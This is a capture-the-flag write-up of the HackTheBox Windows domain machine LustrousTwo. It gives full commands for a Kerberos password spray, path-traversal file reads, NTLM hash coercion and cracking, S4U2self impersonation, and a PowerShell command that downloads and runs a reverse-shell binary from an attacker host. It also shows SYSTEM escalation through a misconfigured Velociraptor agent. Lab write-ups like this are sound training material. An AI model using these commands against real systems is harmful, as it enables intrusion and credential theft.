HTB: LustrousTwo Writeup

LustrousTwo - HackTheBox Writeup

Machine Information

AttributeDetails
NameLustrousTwo
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.242.166
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

LustrousTwo is a hard Windows Active Directory box (LUS2DC.lustrous2.vl) built around a domain that has been hardened against the two most common AD footholds: NTLM authentication is disabled inbound, and LDAP signing + channel binding are enforced. That forces every credential-testing and directory-binding step through Kerberos. Anonymous FTP leaks a 71-user list, a Kerberos-only password spray lands one working account, and Kerberos-authenticated access to an internal IIS site exposes an arbitrary file read via path traversal. That read is turned into an offensive primitive by pointing it at an attacker-controlled SMB share to coerce a Net-NTLMv2 hash, which cracks offline. The recovered service account’s credentials unlock the site’s decompiled source, revealing a PIN-gated PowerShell debug endpoint restricted to a group whose members are flagged “sensitive and cannot be delegated.” Rather than fighting that protection with a Silver Ticket, the intended path is S4U2self — a self-impersonation Kerberos extension that isn’t blocked by the delegation flag — to mint a service ticket for a privileged group member and unlock RCE. Privilege escalation to NT AUTHORITY\SYSTEM comes from an insecurely deployed Velociraptor DFIR agent left on the box, whose readable server config lets any local user mint an administrator API client and run VQL queries as SYSTEM.

TL;DR: Anonymous FTP username harvest → Kerberos password spray (Thomas.Myers:Lustrous2024) → Kerberos-auth to IIS → /File/Download path traversal (arbitrary file read) → coerce Net-NTLMv2 hash via UNC read → crack (ShareSvc:#1Service) → decompile LuShare.dll, recover Debug endpoint PIN → S4U2self impersonation of a ShareAdmins member (bypasses “cannot be delegated”) → PowerShell RCE via /File/Debug → user flag → insecure Velociraptor install → mint admin API client → VQL execve as SYSTEM → root flag.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep against the DC, then service/version detection on what's open
nmap -Pn -p- --min-rate=1000 -T4 10.129.242.166
nmap -Pn -sC -sV -p<open-ports> 10.129.242.166

The scan profile is a textbook Windows Domain Controller: Kerberos (88), DNS (53), LDAP/LDAPS (389/636/3268/3269), SMB (445), RPC endpoints, and RDP (3389) — confirming LUS2DC as lustrous2.vl’s DC. Two services stood out as the actual attack surface:

  • FTP (21) — Microsoft ftpd, anonymous login allowed.
  • HTTP (80) — Microsoft IIS hosting an internal ASP.NET Core app that returns 401 Unauthorized with a Negotiate challenge, i.e. Kerberos/NTLM-only auth (no anonymous or form-based login).

Service Enumeration

Anonymous FTP exposed a set of per-user home directories:

Terminal window
ftp 10.129.242.166
# Name: anonymous / Password: (blank)
ftp> ls Homes

Directory names under /Homes are literal AD sAMAccountNames, giving a 71-entry username list — no file content, no read access into the directories themselves, but enough to seed a credential attack.

Vulnerability Assessment

Attempting a standard NTLM-based enumeration/spray (crackmapexec/SMB-style) against the DC failed outright: inbound NTLM authentication is disabled at the domain level, and LDAP signing + channel binding are enforced, which blocks unsigned LDAP simple-bind attempts and NTLM-relay-adjacent tooling. The only viable authentication path left is native Kerberos (pre-auth spray, kinit, SPNEGO/Negotiate over HTTP) — this hardening is the box’s central theme and dictates every tool choice from here on.


Initial Foothold

Kerberos-Only Password Spray

With NTLM dead, credential testing has to go through the KDC directly using Kerberos pre-authentication (a failed/successful AS-REQ), rather than SMB or LDAP simple-bind:

Terminal window
# Kerberos pre-auth spray — the only auth path NTLM lockdown doesn't block
kerberos-spray --dc lus2dc.lustrous2.vl -d lustrous2.vl -U users.txt -p 'Lustrous2024'
# [+] VALID LOGIN: Thomas.Myers@lustrous2.vl:Lustrous2024

One hit against 71 candidates: Thomas.Myers:Lustrous2024.

Kerberos Setup and Access to IIS

Terminal window
# /etc/hosts must resolve the DC FQDN so Kerberos can build the right SPN
echo "10.129.242.166 lus2dc.lustrous2.vl lustrous2.vl LUS2DC.lustrous2.vl" | sudo tee -a /etc/hosts
# minimal krb5.conf pointed at the DC as KDC
export KRB5_CONFIG=./lustrous2.conf
echo 'Lustrous2024' | kinit Thomas.Myers@LUSTROUS2.VL

With a valid TGT, requests to the IIS site authenticate via SPNEGO/Negotiate instead of NTLM:

Terminal window
curl --negotiate -u : "http://lus2dc.lustrous2.vl/"

/File/Download — Arbitrary File Read (Path Traversal)

The app exposes a file-download feature that takes a fileName parameter without sanitizing traversal sequences:

Terminal window
# ..\ traversal walks out of the app's file root into the OS filesystem
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?fileName=..\..\..\..\windows\win.ini'

This alone is a classic arbitrary file read (CWE-22), but the real value is turning a read primitive into a credential-capture primitive: Windows will attempt SMB authentication against any UNC path handed to a file-open call, even one triggered server-side by a “download” feature.

Terminal window
# point the "download" at an attacker-controlled share — the server, not the client,
# tries to auth to it, leaking its own machine/service credentials
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?fileName=\\10.10.15.180\Share'
Terminal window
# capture the coerced Net-NTLMv2 hash
sudo responder -I tun0 -v
# [SMB] NTLMv2-SSP Client : 10.129.242.166
# [SMB] NTLMv2-SSP Username : LUSTROUS2\ShareSvc
# [SMB] NTLMv2-SSP Hash : ShareSvc::LUSTROUS2:...
Terminal window
# offline crack
john --wordlist=rockyou.txt shareSvc.hash
# ShareSvc:#1Service

Cracked credentials: ShareSvc:#1Service.

Source Recovery and PIN Extraction

The same traversal primitive pulls the app’s own deployment descriptor and compiled assembly:

Terminal window
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config' -o web.config
# <aspNetCore processPath="dotnet" arguments=".\LuShare.dll" .../>
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?fileName=../../LuShare.dll' -o LuShare.dll

Decompiling LuShare.dll exposes the app’s Debug controller action: it’s gated behind [Authorize(Roles = "ShareAdmins")], requires a hardcoded PIN, and caps the submitted command at 100 characters before handing it straight to a PowerShell.Create() runspace. The PIN was re-extracted live from the DLL’s embedded unicode strings: ba45c518.

Bypassing “Account Is Sensitive and Cannot Be Delegated” via S4U2self

ShareSvc itself isn’t a member of ShareAdmins, and the accounts that are members have the Account is sensitive and cannot be delegated flag set — which specifically blocks constrained/unconstrained delegation and Silver-Ticket-style forged-ticket abuse. S4U2self is not delegation in the sense that flag protects against — it’s a Kerberos extension that lets a service request a ticket to itself on behalf of another user, using only that service’s own credentials, and Windows honors it regardless of the target user’s delegation-sensitivity flag as long as the resulting ticket isn’t then forwarded (S4U2proxy). Since the target endpoint (/File/Debug) only needs a valid, correctly-authorized ticket presented directly — not a forwarded/proxied one — S4U2self is enough:

Terminal window
# impersonate a ShareAdmins member using only ShareSvc's cracked creds
impacket-getST -self -impersonate "SHARON.BIRCH" \
-k lustrous2.vl/ShareSvc:'#1Service' \
-altservice HTTP/lus2dc.lustrous2.vl
export KRB5CCNAME=SHARON.BIRCH@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache

RCE via /File/Debug

Terminal window
# PIN-gated PowerShell RCE, now carrying a ticket that satisfies the ShareAdmins role check
curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug \
-d 'pin=ba45c518&command=iwr -uri http://10.10.15.180/shell.exe -outfile C:\windows\tasks\shell.exe'
curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug \
-d 'pin=ba45c518&command=C:\windows\tasks\shell.exe'
Terminal window
nc -lnvp 1337
# whoami /user → lustrous2\sharesvc

User flag: C:\user_2e9c1.txt<redacted>


Privilege Escalation

Insecure Velociraptor Install → SYSTEM

The sharesvc shell revealed a Velociraptor DFIR agent installed under Program Files, with its server configuration file (server.config.yaml, containing the CA and signing keys needed to mint new API clients) readable from the compromised low-privilege service context — a textbook “insecure installation” per Velociraptor’s own hardening guidance, since anyone who can read that file can self-issue arbitrary-privilege API credentials without ever touching the admin GUI.

Terminal window
# mint a brand-new API client with the administrator role, using only the leaked server config
& "C:\Program Files\VelociraptorServer\velociraptor.exe" `
--config "C:\Program Files\VelociraptorServer\server.config.yaml" `
config api_client --name admin --role administrator C:\windows\tasks\api.config.yaml

That new admin API config talks straight to Velociraptor’s own query engine — no further exploitation needed, just VQL:

Terminal window
# execve() is a built-in VQL plugin — this runs arbitrary commands as whatever the
# Velociraptor service account is, which on a server install is SYSTEM
& "C:\Program Files\VelociraptorServer\velociraptor.exe" `
--api_config C:\windows\tasks\api.config.yaml `
query "SELECT * FROM execve(argv=['cmd','/c','whoami'])"
# nt authority\system
Terminal window
# reuse the already-staged reverse shell binary
& "C:\Program Files\VelociraptorServer\velociraptor.exe" `
--api_config C:\windows\tasks\api.config.yaml `
query "SELECT * FROM execve(argv=['cmd','/c','C:\\windows\\tasks\\shell.exe'])"
Terminal window
nc -lnvp 1337
# whoami /user → nt authority\system

Root flag: C:\Users\Administrator\Desktop\root.txt<redacted>


Attack Chain Summary

Anonymous FTP (71 usernames from /Homes)
Kerberos-only password spray → Thomas.Myers:Lustrous2024
kinit + SPNEGO auth to IIS
/File/Download path traversal → arbitrary file read
Coerce SMB auth to attacker share → Responder captures ShareSvc Net-NTLMv2
john/rockyou crack → ShareSvc:#1Service
Download + decompile LuShare.dll → recover Debug PIN (ba45c518)
S4U2self impersonate SHARON.BIRCH (bypasses delegation-sensitive flag)
POST /File/Debug → PowerShell RCE as sharesvc → USER FLAG
Insecure Velociraptor server.config.yaml → mint admin API client
VQL execve() as NT AUTHORITY\SYSTEM → ROOT FLAG

Tools Used

ToolPurpose
nmapPort/service discovery, DC fingerprinting
Anonymous FTP clientUsername harvest from /Homes
Kerberos pre-auth spray tooling (e.g. kerbrute)Password spray against a domain with NTLM disabled
kinit / krb5.confTGT acquisition for downstream Kerberos-auth requests
curl --negotiateSPNEGO/Kerberos-authenticated HTTP against IIS
ResponderCapture coerced Net-NTLMv2 hash from the file-read UNC trick
john + rockyou.txtOffline Net-NTLMv2 crack
.NET decompiler (ilspycmd/dnSpy-class)Recover LuShare.dll source, find hardcoded Debug PIN
impacket-getSTS4U2self impersonation ticket request
Velociraptor CLI (velociraptor.exe)Self-issue admin API client, run VQL execve as SYSTEM
ncReverse shell catcher

Key Learnings

Techniques Practiced

  • Operating entirely over Kerberos against a domain with NTLM disabled and LDAP signing/channel binding enforced
  • Turning an arbitrary-file-read primitive into an NTLM hash-capture primitive via UNC path coercion
  • Decompiling a .NET Core web app to recover hardcoded secrets and understand an RCE gate
  • S4U2self as a delegation-flag bypass distinct from — and stealthier than — Silver Ticket forgery
  • Identifying and abusing an insecure Velociraptor DFIR agent deployment for SYSTEM

Lessons Learned

  1. Disabling NTLM and enforcing LDAP signing/channel binding raises the bar but doesn’t remove Kerberos as a full authentication and enumeration path — spray, kinit, and SPNEGO all still work.
  2. Any server-side “read this path” feature that can be pointed at a UNC path is a credential-leak primitive, not just a file-disclosure bug — coercion doesn’t require SMB directly, just something that triggers a file-open.
  3. “Account is sensitive and cannot be delegated” stops classic delegation and Silver Ticket abuse, but not S4U2self — the flag protects against tickets being forwarded, not against a service vouching for a user to itself.
  4. Deploying DFIR/EDR tooling (Velociraptor) without locking down its server config file turns a defensive tool into a SYSTEM-level backdoor for anyone who lands a foothold on the box it’s protecting.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • 0xEr3bus, “LustrousTwo” — public HackTheBox writeup (machine author: xct), used here for conceptual/explanatory detail on the Kerberos-hardening theme, the S4U2self-vs-delegation-flag rationale, and the Velociraptor insecure-install background. All IPs, credentials, commands, and outputs in this writeup are from the author’s own solve against 10.129.242.166.